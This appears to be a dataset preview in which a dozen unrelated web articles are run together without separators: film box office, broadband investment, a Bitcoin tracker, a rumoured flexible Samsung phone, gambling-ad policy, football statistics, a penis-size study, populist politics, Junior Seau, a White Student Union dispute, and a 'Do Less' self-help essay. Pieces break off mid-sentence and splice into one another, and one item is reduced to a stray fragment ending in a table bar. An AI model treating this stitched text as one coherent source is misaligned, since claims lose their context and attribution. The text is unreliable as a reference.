decoded_text stringlengths 4.18k 47.6k |
|---|
Story opened globally this weekend to an impressive $290.5 million, opening at #1 in all markets across the globe. The domestic estimated opening weekend of $155 million is the second-highest December opening (behind only Star Wars: The Force Awakens) by a wide margin.
Internationally, Rogue One posted the fourth-highest December opening of all-time with 135.5 million from 52 territories. The film had the best opening weekend of 2016 in many European markets, including France, Germany, Spain and the UK/Ireland. Rogue One received a strong A CinemaScore from audiences.
Rogue One earned $29.2 million from 708 IMAX screens worldwide. This is the second-highest December IMAX opening in history, behind last year’s Star Wars: The Force Awakens, as well as a top five all-time global IMAX opening weekend. In North America, Rogue One earned $19 million from IMAX, becoming the first movie released on over 400 domestic IMAX screens. Internationally, Rogue One earned $10.2 million in IMAX, which marks the second-highest December IMAX opening ever for internationally (behind Star Wars: The Force Awakens), and biggest IMAX opening ever in Japan, Denmark, and Belgium.
Here are the key international territories (the film will open in Korea on December 28 and in China on January 6):
UK $21.0M
Germany $12.5M
Australia $10.8M
France $10.0M
Japan $7.9M
Russia $5.6M
Brazil $5.3M
Mexico $5.1M
Spain $4.5M
Sweden $3.5M
Italy $3.1M
Directed by Gareth Edwards, Rogue One: A Star Wars Story stars Felicity Jones, Diego Luna, Ben Mendelsohn, Donnie Yen, Mads Mikkelsen, Alan Tudyk, Riz Ahmed, Jiang Wen, and Forest Whitaker.
From The Walt Disney Studios and Lucasfilm comes the first of the Star Wars standalone films, Rogue One: A Star Wars Story, an all-new epic adventure. In a time of conflict, a group of unlikely heroes band together on a mission to steal the plans to the Death Star, the Empire’s ultimate weapon of destruction. This key event in the Star Wars timeline brings together ordinary people who choose to do extraordinary things, and in doing so, become part of something greater than themselves.The broadband industry, like other industries I am familiar with, does not like the idea of government regulations that would make it less profitable. In search of a more persuasive argument than that, Tom Downey, a lobbyist for the National Cable Telecommunications Association, is circulating a letter to members of congress arguing that "in the years that broadband service has been subjected to relatively little regulation, investment and deployment have flourished and broadband competition has increased, all to the benefit of consumers and the American economy."
So is broadband investment flourishing? Not according to the NCTA's own data which shows investment booming in the years before the Great Recession and declining more recently:
Of course, since NCTA wants to argue the reverse the actual graphic they have on their website looks quite a bit different from this.
Specifically, here's how they would like you to see broadband investment:
The key trick here is that they looked at cumulative gross investment so that literally any possible state of the world will show an upward slope. Even if all the broadband industry did was repair lines that were downed in storms, cumulative investment would go up over time. But they threw in a bonus trick of using four-year periods (1996, 2000, 2004, 2008) and then switching to a five-year period for the last one.
acting like a low-competition industry, scaling back investment and plowing its profits into dividends and share buybacks
My chart properly shows annual average investment during these periods and shows clearly that investment is down. I didn't even adjust for inflation, since it's hard to calculate that without NCTA giving us specific annual figures.
Now needless to say the fact that investment is falling doesn't prove that NCTA is wrong about net neutrality regulations. But if you think the light regulatory touch is working because it's leading to an investment boom, you are mistaken. The industry is acting like a low-competition industry, scaling back investment and plowing its profits into dividends and share buybacks and merger efforts.
Update: The NCTA now says its original figures were inaccurate, though it hasn't changed the misleading format of its chart.Financial disruption from the inside
Regulation makes it impossible today for most institutional investors to invest in Bitcoin. However, there are many new players trying to circumvent regulatory boundaries, or innovate from inside, instead of trying to change the regulations altogether. Innovation, instead of regulatory change, is a faster, cheaper and easier approach to change in many innovators' and entrepreneurs' eyes.
One of those companies is XBT Provider. In May, it launched the world’s first Bitcoin-based asset “Bitcoin Tracker One” and just recently announced its second product, a Euro-denominated Bitcoin-based security, Bitcoin Tracker EUR, available through Nasdaq Nordic on October 5.
"We are proud to offer a Euro-denominated instrument to meet demand from investors worldwide,” said Alexander Marsh, CEO of XBT Provider.
The demand for Bitcoin has seen very high growth since its inception in 2009 but this demand has been accessible only for private individuals or investors who have had the flexibility to invest outside of regulated exchanges. Looking at the demand from institutional investors, this might rapidly be changing and, according to Marsh, “Bitcoin Tracker One has during periods been among the top three most-traded ETNs on Nasdaq Nordic since launch.”
Attractive investment to diversify portfolio
Through the opening of Bitcoin-based assets accessible on the regular stock exchange, XBT Provider is looking to get institutional investors to understand the benefit of having Bitcoin in their portfolios, but more education is needed. “One of the advantages of diversifying your portfolio with bitcoin is that it’s still uncorrelated with other assets.” Johan Wattenström, Partner at XBT Provider explains. “Additionally, a critical number of triggers and catalysts in the Bitcoin ecosystem are now in place for a further take-off in the price.”
The volatility that has followed Bitcoin has been seen as both a blessing and a curse. For the regular investor, volatility in an asset is often seen as something negative that has to be avoided to have a stable portfolio. However, volatility for the institutional investors, and crafty traders, is instead seen as something very positive since they can capture the upward price movements and make a profit from them.
Bitcoin no longer an untouchable asset
There are a few benefits for investors to invest in ETNs instead of directly in the underlying asset or in an ETF. First, ETNs can track one unique asset without needing to diversify its holdings such as an ETF often must. Additionally, it can increase liquidity in otherwise highly illiquid assets. Lastly, it can give investors access to assets that are otherwise too hard to manage or require too much prior knowledge to maintain properly.
This makes ETNs a very common choice for investors who would like to invest in niche assets without needing to spend time and resources learning and understanding the underlying asset's technical aspects.
From Sweden to the world
Bitcoin Tracker One is denominated in Swedish krona, which, being a minor currency in the global financial markets, has led to some still being hesitant to invest. Bitcoin Tracker EUR aims at changing this by making the steps for investing in bitcoin as few as possible. Being denominated in euros, it can lower fees and make bitcoin much more accessible to the global investor.
Compared to bitcoin, Bitcoin Tracker One has seen incredible growth since its launch a few months ago and is currently holding more than 15,000 bitcoin. This opens up the question whether the next step to Bitcoin’s growth will come from the institutional side and not from the private investor. Additionally, it has followed the price of bitcoin on a 1:1 ratio consistently, which shows that, if managed properly, bitcoin can be considered as any other financial asset that institutional investors could consider investing in.Think a flexible smartphone is just science fiction? You might have to think again, thanks to Samsung. The Korean company recently unveiled Galaxy Skin, an Android smartphone that can take on different shapes and take on even hammer blows, set to begin production in 2012 Q2 with murmurings of a release sometime thereafter.
So aside from its flexible form, what specs can Galaxy Skin boastof? For starters, it will have a flexible 4″ AMOLED display (800×480) made of plastic polyimide substrate. Samsung already confirmed that they have started production of such screens. This form of AMOLED technology consumes less energy but still delivers good screen brightness compared to the normal Samsung AMOLED screens.
Other known specs of Galaxy Skin include 1 GB RAM; 1.2 GHz processor; 8 MP rear camera and VGA front camera with auto focus, self-portrait, stop motion, action shot, and Panorama shots; and 1500 mAh battery. Connectivity-wise, it has Bluetooth 3.0, USB 2.0, and Wi-Fi 802.11 b/g/n features. It will reportedly run on Android Jellybean (the next Google OS version after Ice Cream Sandwich), but there are speculations that Google will make a special version for it, namely Android Flexy.
With the Galaxy Skin, one can have table clock, smart projector, or even a wristwatch. Now we await Apple’s statement regarding this.
via IBTimesIllustration: Matt Golding. On Sunday new Minister for Gaming and Liquor Regulation Marlene Kairouz will release a consultation paper that proposes to ban static betting advertising on "public transport infrastructure, including trains, trams, buses and stations, and near schools". "The Victorian government is concerned about the normalisation of gambling on sport through the proliferation of gambling advertising. It is particularly concerned about its impact on children, adolescents and other people vulnerable to gambling-related harm," the paper says. The paper identifies public transport infrastructure and areas near schools as the first location for a crackdown due to the exposure it has over children and adolescents. "Public transport infrastructure is also unavoidable as part of many Victorians' day-to-day activities," the report says.
Southern Cross and Flinders Street stations have had blanket gambling advertising, causing angst among many commuters. But the reforms do not propose to crack down on advertising at sports arenas including the MCG or Etihad Stadium, or affect TV and radio advertising. Gambling advertising contracts that are already signed will not be affected either. Consultation will last a month, with legislation likely to be introduced next year to Parliament. Academics and reformers have argued for several years that the growth in betting advertising, especially for sports like football, are having a damaging impact on children by "normalising" gambling.
A recent study from Deakin University, lead by Associate Professor Samantha Thomas, found that 75 per cent of eight-to-16-year-olds thought that gambling was a "normal or common part of sport" because of the advertising during sport. And three-quarters of eight-to-16-year-olds could name one gambling company, with 25 per cent able to recall four or more bookies. "We now have clear evidence that gambling ads are having an impact on children and that government must act," she said. Federally, senator Nick Xenophon and Tasmanian independent Andrew Wilkie, along with the Alliance for Gambling Reform have called for a ban on sports betting advertising on TV during broadcasts. The blurring of sport and betting has angered many, with some government MPs privately conceding action needed to be taken.*The stats in the article are gathered manually from Squawka. Minutes include stoppage time. Offensive, Defensive and Net rating are the totals per 100 minutes.
Over the last month I have tried to analyze the different defensive and midfield lineups used by Jurgen Klopp and how well they have done. Finally we get to the area of the field for which the Liverpool supporters should have the fewest complaints – attack. After 32 matches Liverpool are the highest scoring team in the league with 68 goals – 3 more than Chelsea, who have a game in hand. So how have our attackers done?
Consistency
Even though after recent events Jurgen Klopp will need to look for alternatives, 2 of the 3 attackers in our 4-3-3 were able to stay consistently on the field up until the derby last weekend.
Player Minutes played Team goals scored Offensive rating Team goals conceded Defensive rating Net team gain Net rating Firmino 2787 (91%) 63 2.26 37 1.33 26 0.93 Mane 2368 (77%) 57 2.41 26 1.10 31 1.31 Coutinho 1809 (59%) 41 2.27 25 1.39 16 0.88 Origi 1141 (37%) 21 1.84 16 1.40 5 0.44 Sturridge 626 (20%) 16 2.56 7 1.12 9 1.44
Only Nataniel Clyne has played more PL minutes than Roberto Firmino this season. The English full back hasn’t traveled several times around the globe for international duty. It seems like the rest Firmino got against Stoke was long overdue.
A freak injury has ended Sadio Mane’s season but given the circumstances he has been very reliable. The stats evidence what our eyes have been telling us all season – the team is playing at a higher level when he is on the pitch. Hopefully there will be no complications with his injury and we will be able to enjoy Sadio for the full length of next season.
Phil Coutinho’s season started brilliantly but took a hit after suffering an injury against Sunderland in the middle of season. He missed seven games and looked off the pace after returning to the line up. Thankfully the little magician is back to his best lately.
Divock Origi has been the utility man in attack – filling in when any of the starters are unavailable. Origi is the most commonly subbed on player – 19 times. The team has struggled to dominate matches with the Belgian leading the front line.
Daniel Sturridge – a man who splits the opinion of supporters. He has played just 20% of the minutes available and is yet to play a full match this season. His goal involvement is not impressive – just 2 goals and 1 assist per Squawka. A lot of experts say he doesn’t fit the system and yet when he is on the pitch the Reds blow teams away. The numbers are not inflated by favorable sample size – the only high scoring match in which the Englishman has played major minutes is the early season 4-1 win against Leicester City. If that match is removed from the sample, Sturridge would still rank second just behind Mane in offensive rating.
Liverpool’s nuclear triage
Attacking three Minutes played Team goals scored Offensive rating Team goals conceded Defensive rating Net team gain Net rating Coutinho, Firmino, Mane 1076 (35%) 28 2.60 14 1.30 14 1.30 Firmino, Origi, Mane 583 (19%) 13 2.23 6 1.03 7 1.20 Firmino, Sturridge, Mane 355 (12%) 10 2.82 2 0.56 8 2.26 Other 1056 (34%) 17 1.61 18 1.70 -1 -0.09
The biggest issue yet again is the failure to keep the best players in the line up. Injuries and the AFCON have made it impossible for our starting attack to log significant minutes together. Coutinho, Firmino and Mane have spent just over a third of the total minutes playing together in attack. When that trio is on the pitch Liverpool is firing on all cylinders. The defensive rating of our starting attack is on par with the season average, guaranteeing spectators some high scoring matches – 42 total goals scored in just over 1000 minutes.
The minutes that other lineup have played together are not significant. It is worrying that the “Other” lineups have a negative net rating with over 1000 minutes. With Mane out, Klopp will need to use such lineups in every match until the end of the season.
Coping without Sadio Mane
Sadio Mane has arguably been Liverpool’s best player this season. The Senegalese has scored 13 goals, assisted 5 and created 4 clear-cut chances. He has constantly been a menace on the wing and even in the center on rare occasions. Many say that the thing that this Liverpool squad lacks the most is consistency – something that can’t be said for Mane’s performances. We got a glimpse of how important he is for the squad when the winger was out in January and we are seeing it again in the recent fixtures.
Minutes played Team goals scored Offensive rating Team goals conceded Defensive rating Net team gain Net rating With Mane 2368 57 2.41 26 1.10 31 1.31 Without Mane 702 11 1.57 14 1.99 -3 -0.43
The picture isn’t pretty without Mane. A negative net rating, 2 losses, 2 draws and 1 win in full matches without him – 5 points out of 15. He was subbed out with Liverpool leading 3-1 against Bournemouth only for the team to lose 4-3. In fact the only lineups to have a positive net rating without the winger are:
Matchday 26 against Leicester, with the team 3-0, Coutinho scored the consolation goal (27 minutes without Mane)
Matchday 30 against Everton, with the team leading 2-1, Origi sealed the win (37 minutes without Mane)
Matchday 32 against Stoke, 2-1 win, full 97 minutes with Mane
No wonder Jurgen Klopp decided to tinker with the formation after the injury. Clearly up to the match against Stoke last weekend the team was failing to perform without the Senegalese international. Whilst the drop in offensive output should be expected, conceding 2 goals per 100 minutes is simply shocking even for our leaky defense. Going forward there aren’t that many options – as good as he is, Daniel Sturridge will not be ready to start any time soon. The attacking trio to take us to the Champions League is Coutinho, Origi and Firmino, with hopefully a match winner in Sturridge available to come of the bench.
Busy summer ahead
There is a strong opinion among supporters that Liverpol need a proven 20 goal a season scorer. Liverpool are the highest scoring team in the league and rank 4th in chance conversion ration (just 0,4% behind leaders Arsenal) via transfermarkt. The big chance conversion rate of the team is 30% (13 scored out of 43) – of the top 6 only Manchester City (33%) and Arsenal (58%) are doing better. Scoring goals is not a problem and the finishing, while not on elite level, is still amongst the best in the league. Klopp prefers a formation with one central striker and Firmino is doing a fantastic job in that position. The manager seems to really like Origi and has a reputation of developing young players, people forget that the Belgian is still just 21. Sturridge looks like he is on the way out and if he goes a replacement will be needed. I don’t think getting a striker is a priority this summer.
The main focus should be on getting a winger. There is no senior player with the same playing style as Sadio Mane, which hurts the team a lot when he is not available. Klopp’s 4-3-3 is built around the balance of having one of the wide attackers being a natural winger and the other cutting inside. Having more than one option is in this position is an absolute must for next season. The youngsters don’t look like they are going to be ready to take on a major role next season. Lazar Markovic is still under contract but is most likely going to be sold.
An argument can be made that the team needs another number 10 to cover for Coutinho too. Klopp has tried playing Firmino and Lallana in his position when he was out but both of them are way more efficient in their current starting positions.Penis size really does matter: Homo sapiens' 'larger than necessary' penis may have evolved through natural selection by prehistoric women BelfastTelegraph.co.uk A taboo-breaking study into female sexual desire has revealed how much women secretly revere a man with a sizeable penis. https://www.belfasttelegraph.co.uk/news/world-news/penis-size-really-does-matter-homo-sapiens-larger-than-necessary-penis-may-have-evolved-through-natural-selection-by-prehistoric-women-29186925.html https://www.belfasttelegraph.co.uk/migration_catalog/article25781332.ece/82380/AUTOCROP/h342/Size_288742s
Email
A taboo-breaking study into female sexual desire has revealed how much women secretly revere a man with a sizeable penis.
The researchers believe that the relatively long phallus of Homo sapiens, which is far larger than it needs to be to perform its essential biological role, is in fact the result of many generations of prehistoric women choosing well-endowed men.
Before clothing, the unaroused member would have been conspicuous to females in an upright-walking species and so could have evolved to become larger than was physically needed as a result of female choice, the scientists postulate.
This innate attractiveness toward well-endowed men is retained today, hidden deep within the female psyche, according to Brian Mautz, formerly of the Australian National University in Canberra and lead author of the study published in the journal Proceedings of the National Academy of Sciences.
“We found that male attractiveness is significantly influenced by penis size. More specifically, we found that large penises are rated as relatively more attractive than smaller ones,” Dr Mautz told The Independent.
“Our results show that present-day females rate larger penises as more attractive, but it is hard to infer anything much beyond that. Part of the reason is because of clothing – it does complicate the situation,” he said.
Unravelling the role played by the flaccid male member in making a man appear attractive to women was solved by using life-sized, three-dimensional images of naked male manikins projected on to a video screen.
Each of 49 different images was rotated slightly to show off the anatomically correct details of the male genitalia, while about 100 Australian women were asked to rate each life-size image according to its sexual allure, based on a score of one to seven.
In addition to varying the penis length, the scientists played around with the stature of the models, making the men appear taller or shorter, and with wider shoulders or hips, which were already known to influence male sexual attractiveness.
“The effect of penis size on attractiveness is not independent of the other two traits of height and shoulder-to-hip ratio. For example, penis size has a much larger effect on attractiveness for taller men, than it does for shorter men,” Dr Mautz said.
“It certainly does show that size matters, at least on some level, and that how much it matters is relative to other traits.”
Belfast Telegraph DigitalIn the long-running battle at the ballot box between liberalism and populism, the world map for the populists hasn’t looked this good for some time. They have taken a decisive lead in the global electoral college, and are confident about their chances in swing states where polls haven’t yet closed.
Most significantly, of course, this week the populists eked out a win in the United States, recapturing what had recently been considered a stronghold for the liberals. Many questioned the wisdom of running Donald Trump, a reality-TV star known for his profanity, as candidate for leader of the world’s largest economy, but his promise of a “Brexit plus plus plus” after June’s referendum win in the United Kingdom proved shrewd.
Already reeling from the loss of Britain, liberals were completely blindsided by Trump’s victory. The comfort that came from liberal candidates gaining or maintaining power over the past year elsewhere in the Americas—Argentina, Brazil, and Canada—didn’t last long.
Victories in the US and UK set up the populists for a strong run at swing states that until recently looked out of reach. Let’s take a look at the map:
The liberals, following messy victories this year in Australia (a slim majority) and Spain (a shaky minority), are on the defense, working to repel populist surges all over the map.
Meanwhile, the safest seats for the populists—including Russia, Turkey, and more recent additions India and the Philippines—look far more secure than the line-up on the liberal side, and that doesn’t look likely to change any time soon. It’s hard to consider any liberal stronghold truly “safe” in the current climate.
The next contests to watch come on “Super Sunday” (Dec. 4), and the populists go in with the wind in their sails.
The re-run of Austria’s presidential election will build on their momentum ahead of more important races; although the largely ceremonial position is low on the list of priorities, a win for Norbert Hofer from the far-right Freedom Party would bolster the ranks of hardline nationalists in power.
On the same day, a referendum on constitutional reforms in Italy will be closely watched. A loss for prime minister Matteo Renzi’s government could trigger a general election, opening the door for populists to recapture the seat in Rome just over five years after the final term of populist hero Silvio Berlusconi. The anti-establishment Five Star Movement is ahead in the polls—its rallying cry, according to founder Beppe Grillo, is “We are the barbarians!”
Next year is crunch time for the populists in Europe, as they mount a three-stage challenge on the continent, each more important than the last. In March, votes in the Netherlands will be counted, and we’ll see if the minor matter of a hate-speech trial against populist standard bearer Geert Wilders turns off voters, or energizes them.
The populists’ most winnable prize, perhaps, is France, which tallies its votes for president in April and May. The National Front’s Marine Le Pen is drawing support from similar constituencies as Trump, with a parallel platform espousing protectionism, nostalgia, and cozier Russian relations. “It’s not the end of the world, but the end of a world,” she said as she celebrated Trump’s triumph. “Today the United States, tomorrow France!” said her father, party founder Jean-Marie.
The odds are that Le Pen will falter in the second round of the country’s two-stage runoff vote, as her father did in 2002, but who takes the pollsters’ probabilities seriously any more?
It will take that sort of spirit to put in play the populists’ stretch target—Germany—when the votes are collected in September. It all depends on whether Angela Merkel stands for a fourth term, amid some weakening in opinion polls for the otherwise popular chancellor. If the earlier elections go the populists’ way, Merkel will be squeezed from all sides—Austria, the Netherlands, and France in addition to Poland last year—and may decide that she cannot shoulder the responsibility of leading the liberal democratic establishment on her own. Then again, it’s hard for an upstart party with neo-Nazi tendencies to succeed in a place that was once ruled by actual Nazis.
Further out, in 2018, the populists now believe Colombia may be in play, buoyed by the shock rejection of the peace accord with guerrillas last month. This would put a dent in the liberals’ “southern strategy,” which is having a hell of a time unseating Nicolas Maduro, despite his unpopularity, in the long-time target seat of Venezuela.
The liberals’ other targets are hardly worth putting on the map, so low are their odds of success. For his legal troubles, the chances of toppling Jacob Zuma in South Africa before his term ends in 2019 look remote. The failure of Viktor Orbán’s anti-immigration referendum in Hungary earlier this year also gave liberals some hope of making unexpected inroads in 2018 in a country long considered safe for the populists.
This week, the Hungarian proponent of an “illiberal state”—a 2014 pledge pilloried at the time, but prescient today—dismissed his challengers as advocates of “liberal non-democracy.” Trump’s victory is akin to the “big bang,” he said, “a historic event in which Western civilization appears to successfully break free from the confines of an ideology.”Junior Seau's death complicated his legacy, especially for a generation too young to have seen his prime. Ask a high school senior, even one who grew up in American Samoa, what he can recall of Seau's prime, and you'll get a lot of uhhs and umms.
And that makes sense. A 17- or 18-year-old today was born half a decade after Seau won Defensive Player of the Year. He would not have seen Seau lead the Chargers on an improbable run to the 1995 Super Bowl, and would be lucky to be alive for two of Seau's eight first-team All-Pro seasons.
But Seau is more than his accolades, his demons or the man that only his family can truly speak to. Ask that same Samoan high schooler, a three-star prospect potentially headed to the mainland on a scholarship, whether he would be in this situation without Seau, and there's no hesitation.
"As far as football -- we still have Troy [Polamalu], Rey Maualuga, those guys, Manti Te'o and them -- but Junior Seau, he set the bar for us Polynesians, that anybody can make it," says Jeremiah Pritchard, a linebacker now playing in Honolulu. "Without him, I don't think the bar would be that high."
* * *
Most of Pritchard's direct knowledge of Seau comes from Madden video games and occasional ESPN clips from when he was really little. Everything else he knows he learned from another generation.
"My dad would tell me things about Junior Seau," Pritchard says. "He'd say 'Junior Seau, he's athletic. He can run, he can stop passes, he's a hard hitter.' That's one of the main things my dad said, Junior Seau is a very hard hitter. I took that in, I went out, and my mentality as a linebacker was just hit really hard."
If it hadn't been Pritchard's father passing along stories, it could have been a coach, or an uncle in the case of Juliano Falaniko, a safety from Pago Pago with offers from Oregon, Oregon State, Arizona and Ole Miss among others. Falaniko's uncle played with Seau at Oceanside High School just north of San Diego. He taught his nephew that though Seau was a vicious player on the field, he was level-headed in all other ways.
Without having seen Seau play, Falaniko took that lesson to heart. His reverence for Seau is transitive but strong.
"I always looked up to Samoans playing in the NFL, like Troy Polamalu, Rey Maualuga," Falaniko says. "I know he was a big influence on them, so since they looked up to him, I also look up to Seau.
"Though he wasn't the first Samoan in the NFL, he was the first great Samoan who showed us that if he can make it that any of us Samoans can make it."
Seau was massively popular in the Pacific Islands during his prime. Keiki Misipeka was roughly 14 years old at the time, and remembers when Samoan kids only wanted to wear Seau's number. They wanted to play like him and be like him -- get a scholarship, play in the NFL, become a star.
Football's influence in Polynesia grew.
"If it could be, American football would be our national sport," Misipeka says. "To this day, we continue to do whatever with limited resources -- and I guess that's what makes it more meaningful is that Junior Seau, coming from American Samoa, and us growing up there with the limited resources that we have and with the success story that he has, it gives every kid growing up in American Samoa hope."
Misipeka is the player development officer at Pasefika International Sports Alliance, an organization that helps Polynesian athletes find college scholarships. This year, his organization has helped 16 kids earn offers from four-year or two-year institutions. That's an extraordinary number given the state of high school football when Misipeka played.
"We were very lucky to have one college coach visit Samoa 20 years ago," Mispeka says. "I remember the University of Arizona visited American Samoa once because of the success Joe Salavea had. That was one D-I college coach during my four years in high school."
Today, there are more than 70 players of Polynesian descent in the NFL, 30 of which come from American Samoa alone. A record five Polynesian players were selected within the first 66 picks of the 2015 NFL Draft -- Marcus Mariota (No. 2 overall), Danny Shelton (No. 12), Hau'oli Kikaha (No. 44), Nate Orchard (No. 51) and Jeremiah Poutasi (No. 66). American Samoa has an estimated population of 57,000 people. By Forbes' estimation, that means that Samoans are 56 times more likely to play in the NFL than people from the rest of the United States.
The Samoan "boom," such as it is, can be traced back to a time when Seau's greatness consumed the island.
"I would see a lot of Seau jerseys roaming around, and a lot of kids back in Samoa, when they wanted to play linebacker or throw on a jersey, they always wanted No. 55," Misipeka laughs. "They always wanted to wear No. 55 because they already knew what No. 55 meant to the Samoa community. Wearing that jersey in the Samoan community meant a lot."
Seau had been named to a fourth consecutive Pro Bowl when the Chargers made the 1995 Super Bowl, making that season the height of a storied career. A loss to the 49ers didn't remove any of his luster -- the Chargers were underdogs anyway. The important thing to Samoans was that Seau was there.
"That's something that I still remember clearly," Misipeka says. "And being able to see him play in the biggest game in the NFL, that's a huge accomplishment for any athlete. But it meant a lot to me. It meant a lot to me being Samoan, and him being able to do that coming from a tiny island, that inspired me to want to pursue football, that inspired me to want to continue to help Polynesian athletes."
Football has been ubiquitous for so long in the United States that every region can't possibly fawn over every one of its heroes. Samoa certainly doesn't need to any more, with so many islanders having found success in the NFL. But Seau was a novelty then, and so the island stopped and watched and became inspired. Pritchard describes Seau as a Samoan icon, comparable to Michael Jordan in Chicago or LeBron James in Cleveland.
And on the day Seau died, Samoa stopped once again and mourned. Misipeka recalls signs and posters going up around the island in tribute. Pritchard heard the news from his parents in the morning -- "Junior Seau has passed" -- and says his father was in shock. Falaniko called it "one of the saddest days."
Reno Mahe, a former BYU and Philadelphia Eagles running back of Tongan descent, echoed Pritchard and Falaniko, telling the Deseret News that whatever the circumstances of Seau's death, the linebacker would always be looked up to as a guy who "made it."
"He had talent, worked hard and made the best of all his opportunity," Mahe said. "It's sad to think about how young he was and what led to this, but I'm gonna just focus and think about all the great things he did while he was here: the example on the field and the smile that he always had."
An example, too, because the way that Seau carried himself was distinctly Polynesian. "Humble" says Falaniko. "Loving" says Pritchard. "Warrior-like" says Misipeka. Stories of Seau's generosity are easy to find, from the time he serenaded a Marine and picked up his bar tab, to his long history of charitable efforts, to his mentorship of young players in American Samoa.
Then when Seau lined up, he became something else.
"So he puts on his helmet, his shoulder pads and he steps on that field, it's just a different animal." Misipeka says. "It's a different beast, and you know you come out there and you know it's every hit, every tackle, just his style and nature of play -- every Samoan athlete can relate to that, relate to that style of play, relate to that warrior-like mentality."The student behind a controversial White Student Union at Towson University claims that the group is necessary to fight "inherent anti-white bias in academia and mainstream society."
The group, started by Towson senior Matthew Heimbach, has sparked a debate about the balance between students' First Amendment rights and clamping down on what many have condemned as racism at the Maryland University.
Heimbach is described by the Southern Poverty Law Center as a "white nationalist" who has argued black hate crimes against whites exponentially outnumber white-on-black hate crimes.
The panel who spoke with Heimback included the Southern Poverty Law Center's Lecia Brooks; Harvard student Julian Lewis; journalist and advocate for "racial realism," Jared Taylor; and Lehigh University Professor James Peterson.
Heimback argues that "every single other ethnic group has an advocacy group for themselves. We have a black student union, a Hispanic student union, an Asian student union. We have groups for every other group of people except for white students. So if white students are allowed to come together and advocate for our own best interests simply would bring us into the realm that every single other group is allowed."
Brooks put forward an opposing point of view: "The differences between a white student union or a white group... you see it as you want to defend what you think you are losing. Whereas people of color or other marginalized groups organize around a common interest." She also said that both Taylor and Heimback were advocates of white supremacy and white separatism.BlogsAbortion
Girl Scouts USA was a founding member of the World Association of Girl Guides and Girl Scouts and is its largest member. In 2008 and 2009 over 60% of WAG |
up my entire day … or I can write one post that affects thousands of people, that really reaches to the heart of my readers’ lives, and takes me 1.5 hours to write. I did less, but made my words and time count for more.
If you’re lazy, as I often am, then the choice is simple. Do Less.
But do it smartly: Do Less, but make every action count. Send fewer emails, but make them important. Write fewer words, but make each word essential. Really consider the impact of every action you take, and see if you can eliminate some actions. See if you can achieve a great impact doing less.
This doesn’t mean “less is more”. It means “less is better”.
Do Less: Of Everything
But Do Less means much more than being productive. It goes to the heart of everything we do, of our society. Do Less is nothing less than a two-word manifesto for living.
Here’s how the two-word manifesto of “Do Less” can change everything:
1. Do Less buying. If you spend less, shop less, acquire less, then you will own less, need less, get into less debt, be in better financial shape, have less clutter, and have more time for things that are truly important.
2. Do Less busy-work. Instead of running around doing lots of little things, slow down. Do Less. Live a calmer, more peaceful life. Be content to sit, to do nothing. Relax a little. Smile and be happy.
3. Do Less managing. If you are in a position of authority over others, whether it’s as a manager, executive, or parent … the less you do the better. Many people over-manage, or over-parent. This gives their employees, or children, very little freedom, room for creativity, room to learn on their own, to succeed and fail. The less you do, the more others will figure out how to do things. Do little things to guide and teach, but for the most part, back off and let them be.
4. Do Less communicating. Less talking, less yelling, less arguing, less emails and IM and Twittering, less phone calling. While I think communication is extremely important, and should be one of the keys to any relationship, I also think we do it too much. Especially as most of it becomes nothing but jabbering at each other, with very little actual listening. It is noise. Let silence into your life. Let stillness pervade our minds. When you do communicate, make it count, make it sincere, and more than you talk, listen. Make every email count. Only IM when it’s necessary. Spend less time on the phone and Twitter and Blackberry and iPhone, and more time with humans, more time with yourself, more time in the present.
5. Do Less complaining and criticizing. I won’t rant about how these two things can drag down you and those around you … but instead will say that if you did less of these two things, your life would be better. And we all do them — fess up! I do, and I try to do less of it. Instead, do more kindness, compassion, understanding, accepting, loving.
6. Do Less planning and worrying and future thinking. Spend more time in the moment. We worry too much, and it does us no good. We think about things that haven’t happened, instead of what’s happening now (and yes, I know that’s the name of an old sitcom). And while some planning is necessary, too much of it is a waste of time — there’s no way to predict the future, and trying to control every little thing that’s going to happen is futile. Learn to go with the flow, look for opportunities, find the natural path of things, and do what is needed in the moment. You can’t control outcomes, but if you learn to work more fluidly (instead of rigidly following plans), you can get to outcomes that are good.
7. Do Less judging and expecting. Acceptance is something I’m trying to learn to do more. And that means I need to be less judgmental, and stop having expectations from everything and everybody. If you have no expectations, and don’t judge things, you can accept them. And acceptance leads to peace, leads to happiness. So when you find yourself judging, think “Do Less Judging”. When you find yourself expecting someone to be a certain way, think “Do Less Expectations”. People won’t disappoint you that way, because you’ll learn to accept them as they are, and learn that they are already perfect, as they are.
“Be Content with what you have; rejoice in the way things are. When you realize there is nothing lacking, the whole world belongs to you.” – Lao Tzu
How to Do Less
If you are sold on the two-word manifesto — Do Less — you might be saying to yourself, “Self, that sounds good, but how exactly do I go about doing less?” It’s simple:
1. Do Less. Yes, it really is that simple. Do Less. Take how much you usually do, and Do Less than that. If you’re smart, you’ll naturally choose the more essential things to do, but it’s possible that you won’t, and you’ll just choose whatever is easy or convenient or fun. That’s OK. Go with that. Eventually you’ll probably have to do the important stuff, because it probably has to be done sometime. Or maybe you won’t, and you’ll end up getting nothing done. Then you’ll think to yourself, “Self, there has to be a better way. Either I have to go back to doing more, or I have to choose more wisely in what I do.”
2. Then Do Even Less. If you followed the first step, and you’re now doing less than you were before, congratulate yourself! Pat yourself on the back! Celebrate by going to take a nap. Now, when you’re ready to get started again, try to do even less than you were doing in Step 1 above. Pare some of your actions down. Look for more fat to trim. See if some things really aren’t as necessary as you thought they were. Pass some things on to others, automate other things, delay on still others, and get out of doing still others by calling up someone or emailing them and explaining, “I’m sorry, I just can’t do as much as I originally planned.” Now you’re doing less than before!
Repeat. Keep doing less until you’re doing almost nothing. When you’ve reached that point, congratulations! You’re a master. When you can get by with doing nothing at all, you’ve reached Nirvana and enlightenment and you should really be teaching me instead of the other way around.
Some other ideas to consider when learning to Do Less:
Go with the flow. Imagine the effort required to swim upstream compared to moving with the flow of a river. If you go with the flow of things, rather than against them, you will naturally do less, and with less effort.
. Imagine the effort required to swim upstream compared to moving with the flow of a river. If you go with the flow of things, rather than against them, you will naturally do less, and with less effort. Don’t force things. A common mistake — trying to hard, forcing something that doesn’t want to be forced, forcing people to do things they don’t want to do. A lot of effort, action, and time is wasted. Instead, find a smoother way — think of water, which flows around things rather than trying to force its way through them.
